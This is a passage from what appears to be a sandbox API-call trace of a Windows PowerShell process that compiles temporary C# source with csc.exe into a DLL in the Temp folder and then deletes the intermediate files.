lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x31d, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x0, lpOverlapped=0x0) returned 1 [0056.738] CloseHandle (hObject=0x344) returned 1 [0056.744] VirtualQuery (in: lpAddress=0x1c7fdce0, lpBuffer=0x1c7feba0, dwLength=0x30 | out: lpBuffer=0x1c7feba0*(BaseAddress=0x1c7fd000, AllocationBase=0x1be70000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.619] VirtualQuery (in: lpAddress=0x1c7fd0a0, lpBuffer=0x1c7fdf60, dwLength=0x30 | out: lpBuffer=0x1c7fdf60*(BaseAddress=0x1c7fd000, AllocationBase=0x1be70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.648] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.648] CoTaskMemFree (pv=0x168d60) [0058.653] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.653] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.653] CoTaskMemFree (pv=0x168d60) [0058.682] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.682] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.682] CoTaskMemFree (pv=0x168d60) [0058.684] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.684] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.684] CoTaskMemFree (pv=0x168d60) [0058.685] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.685] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.686] CoTaskMemFree (pv=0x168d60) [0058.689] VirtualQuery (in: lpAddress=0x1c7fe110, lpBuffer=0x1c7fefd0, dwLength=0x30 | out: lpBuffer=0x1c7fefd0*(BaseAddress=0x1c7fe000, AllocationBase=0x1be70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.689] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.689] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.689] CoTaskMemFree (pv=0x168d60) [0058.692] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.692] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.692] CoTaskMemFree (pv=0x168d60) [0058.692] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.692] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.692] CoTaskMemFree (pv=0x168d60) [0058.694] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.694] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.694] CoTaskMemFree (pv=0x168d60) [0058.698] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.698] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.699] CoTaskMemFree (pv=0x168d60) [0058.757] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.757] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.757] CoTaskMemFree (pv=0x168d60) [0058.759] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.759] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.759] CoTaskMemFree (pv=0x168d60) [0058.760] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.760] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.760] CoTaskMemFree (pv=0x168d60) [0058.763] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.763] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.763] CoTaskMemFree (pv=0x168d60) [0058.765] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.765] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.765] CoTaskMemFree (pv=0x168d60) [0058.766] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.766] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.766] CoTaskMemFree (pv=0x168d60) [0058.768] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.768] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.768] CoTaskMemFree (pv=0x168d60) [0058.784] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.784] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.784] CoTaskMemFree (pv=0x168d60) [0058.883] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.883] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.883] CoTaskMemFree (pv=0x168d60) [0058.954] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0058.954] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.954] CoTaskMemFree (pv=0x168d60) [0059.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c7fd7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.038] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0060.038] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.038] CoTaskMemFree (pv=0x168d60) [0060.052] GetCurrentProcess () returned 0xffffffffffffffff [0060.052] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe3a8 | out: TokenHandle=0x1c7fe3a8*=0x344) returned 1 [0060.056] GetVersionExW (in: lpVersionInformation=0x1c7fd380*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c7fd380*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.063] CoTaskMemAlloc (cb=0x20c) returned 0x1b779510 [0060.063] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b779510 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0060.063] CoTaskMemFree (pv=0x1b779510) [0060.064] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x1c7fdfe0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0060.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1c7fe060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0060.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh", nBufferLength=0x105, lpBuffer=0x1c7fe090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh", lpFilePart=0x0) returned 0x39 [0060.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh", nBufferLength=0x105, lpBuffer=0x1c7fdf80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh", lpFilePart=0x0) returned 0x39 [0060.075] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp", nBufferLength=0x105, lpBuffer=0x1c7fde10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp", lpFilePart=0x0) returned 0x3d [0060.075] SetErrorMode (uMode=0x1) returned 0x1 [0060.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0060.078] GetFileType (hFile=0x30c) returned 0x1 [0060.078] SetErrorMode (uMode=0x1) returned 0x1 [0060.078] GetFileType (hFile=0x30c) returned 0x1 [0060.079] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs", nBufferLength=0x105, lpBuffer=0x1c7fdee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs", lpFilePart=0x0) returned 0x3e [0060.079] SetErrorMode (uMode=0x1) returned 0x1 [0060.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.0.cs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0060.080] GetFileType (hFile=0x30c) returned 0x1 [0060.080] SetErrorMode (uMode=0x1) returned 0x1 [0060.080] GetFileType (hFile=0x30c) returned 0x1 [0060.090] WriteFile (in: hFile=0x30c, lpBuffer=0x607de50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c7fe378, lpOverlapped=0x0 | out: lpBuffer=0x607de50*, lpNumberOfBytesWritten=0x1c7fe378*=0x1000, lpOverlapped=0x0) returned 1 [0060.091] WriteFile (in: hFile=0x30c, lpBuffer=0x607de50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c7fe378, lpOverlapped=0x0 | out: lpBuffer=0x607de50*, lpNumberOfBytesWritten=0x1c7fe378*=0x1000, lpOverlapped=0x0) returned 1 [0060.092] WriteFile (in: hFile=0x30c, lpBuffer=0x607de50*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x1c7fe408, lpOverlapped=0x0 | out: lpBuffer=0x607de50*, lpNumberOfBytesWritten=0x1c7fe408*=0x26d, lpOverlapped=0x0) returned 1 [0060.094] CloseHandle (hObject=0x30c) returned 1 [0060.103] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", nBufferLength=0x105, lpBuffer=0x1c7fde20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", lpFilePart=0x0) returned 0x3d [0060.104] SetErrorMode (uMode=0x1) returned 0x1 [0060.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0060.105] GetFileType (hFile=0x30c) returned 0x1 [0060.105] SetErrorMode (uMode=0x1) returned 0x1 [0060.105] GetFileType (hFile=0x30c) returned 0x1 [0060.105] CloseHandle (hObject=0x30c) returned 1 [0060.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline", nBufferLength=0x105, lpBuffer=0x1c7fdd90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline", lpFilePart=0x0) returned 0x41 [0060.109] SetErrorMode (uMode=0x1) returned 0x1 [0060.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.cmdline"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0060.110] GetFileType (hFile=0x30c) returned 0x1 [0060.110] SetErrorMode (uMode=0x1) returned 0x1 [0060.110] GetFileType (hFile=0x30c) returned 0x1 [0060.111] WriteFile (in: hFile=0x30c, lpBuffer=0x6081f18*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x1c7fe2b8, lpOverlapped=0x0 | out: lpBuffer=0x6081f18*, lpNumberOfBytesWritten=0x1c7fe2b8*=0x153, lpOverlapped=0x0) returned 1 [0060.111] CloseHandle (hObject=0x30c) returned 1 [0060.121] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c7fdef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0060.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", nBufferLength=0x105, lpBuffer=0x1c7fdfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", lpFilePart=0x0) returned 0x37 [0060.122] SetErrorMode (uMode=0x1) returned 0x1 [0060.122] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c7fe1f0 | out: lpFileInformation=0x1c7fe1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c4c061, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4c4c061, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x980ccadb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15738)) returned 1 [0060.122] SetErrorMode (uMode=0x1) returned 0x1 [0060.123] CoTaskMemAlloc (cb=0x20e) returned 0x1b779510 [0060.123] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b779510 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0060.123] CoTaskMemFree (pv=0x1b779510) [0060.124] GetCurrentProcess () returned 0xffffffffffffffff [0060.124] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe1b8 | out: TokenHandle=0x1c7fe1b8*=0x348) returned 1 [0060.125] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out", nBufferLength=0x105, lpBuffer=0x1c7fda60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out", lpFilePart=0x0) returned 0x3d [0060.125] SetErrorMode (uMode=0x1) returned 0x1 [0060.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.out"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x6084440, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0060.127] GetFileType (hFile=0x30c) returned 0x1 [0060.127] SetErrorMode (uMode=0x1) returned 0x1 [0060.127] GetFileType (hFile=0x30c) returned 0x1 [0060.127] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err", nBufferLength=0x105, lpBuffer=0x1c7fda60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err", lpFilePart=0x0) returned 0x3d [0060.128] SetErrorMode (uMode=0x1) returned 0x1 [0060.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.err"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x60847b0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0060.128] GetFileType (hFile=0x34c) returned 0x1 [0060.129] SetErrorMode (uMode=0x1) returned 0x1 [0060.129] GetFileType (hFile=0x34c) returned 0x1 [0060.129] WriteFile (in: hFile=0x30c, lpBuffer=0x6086328*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0x1c7fdfd8, lpOverlapped=0x0 | out: lpBuffer=0x6086328*, lpNumberOfBytesWritten=0x1c7fdfd8*=0x1a8, lpOverlapped=0x0) returned 1 [0060.129] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0060.135] CoTaskMemAlloc (cb=0x204) returned 0x124870 [0060.136] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x6097cd8, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1c7fdf30*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x30c, hStdError=0x34c), lpProcessInformation=0x6084a70 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline\"", lpProcessInformation=0x6084a70*(hProcess=0x354, hThread=0x350, dwProcessId=0x51c, dwThreadId=0x648)) returned 1 [0060.173] CoTaskMemFree (pv=0x124870) [0060.173] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x927c0) returned 0x0 [0062.942] GetExitCodeProcess (in: hProcess=0x354, lpExitCode=0x1c7fe168 | out: lpExitCode=0x1c7fe168*=0x0) returned 1 [0062.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", nBufferLength=0x105, lpBuffer=0x1c7fde20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", lpFilePart=0x0) returned 0x3d [0062.947] SetErrorMode (uMode=0x1) returned 0x1 [0062.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0062.948] GetFileType (hFile=0x350) returned 0x1 [0062.948] SetErrorMode (uMode=0x1) returned 0x1 [0062.948] GetFileType (hFile=0x350) returned 0x1 [0062.951] GetFileSize (in: hFile=0x350, lpFileSizeHigh=0x1c7fe488 | out: lpFileSizeHigh=0x1c7fe488*=0x0) returned 0x1800 [0062.951] ReadFile (in: hFile=0x350, lpBuffer=0x6098848, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x1c7fe368, lpOverlapped=0x0 | out: lpBuffer=0x6098848*, lpNumberOfBytesRead=0x1c7fe368*=0x1800, lpOverlapped=0x0) returned 1 [0062.977] CloseHandle (hObject=0x350) returned 1 [0062.978] GetCurrentProcess () returned 0xffffffffffffffff [0062.978] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe418 | out: TokenHandle=0x1c7fe418*=0x350) returned 1 [0062.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out", lpFilePart=0x0) returned 0x3d [0062.982] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.out" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.out")) returned 1 [0062.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err", lpFilePart=0x0) returned 0x3d [0062.984] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.err" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.err")) returned 1 [0062.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.pdb", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.pdb", lpFilePart=0x0) returned 0x3d [0062.984] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.pdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.pdb")) returned 1 [0062.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline", lpFilePart=0x0) returned 0x41 [0062.985] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.cmdline")) returned 1 [0062.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll", lpFilePart=0x0) returned 0x3d [0062.985] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.dll")) returned 1 [0062.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp", lpFilePart=0x0) returned 0x3d [0062.986] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.tmp")) returned 1 [0062.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs", nBufferLength=0x105, lpBuffer=0x1c7fe0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs", lpFilePart=0x0) returned 0x3e [0062.986] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.0.cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\himmqugh.0.cs")) returned 1 [0063.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c7fded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.954] GetCurrentProcess () returned 0xffffffffffffffff [0063.954] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe268 | out: TokenHandle=0x1c7fe268*=0x344) returned 1 [0063.955] CoTaskMemAlloc (cb=0x20c) returned 0x1b779970 [0063.955] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b779970 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0063.955] CoTaskMemFree (pv=0x1b779970) [0063.955] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x1c7fdea0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0063.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1c7fdf20, lpFilePart=0x0 | out: 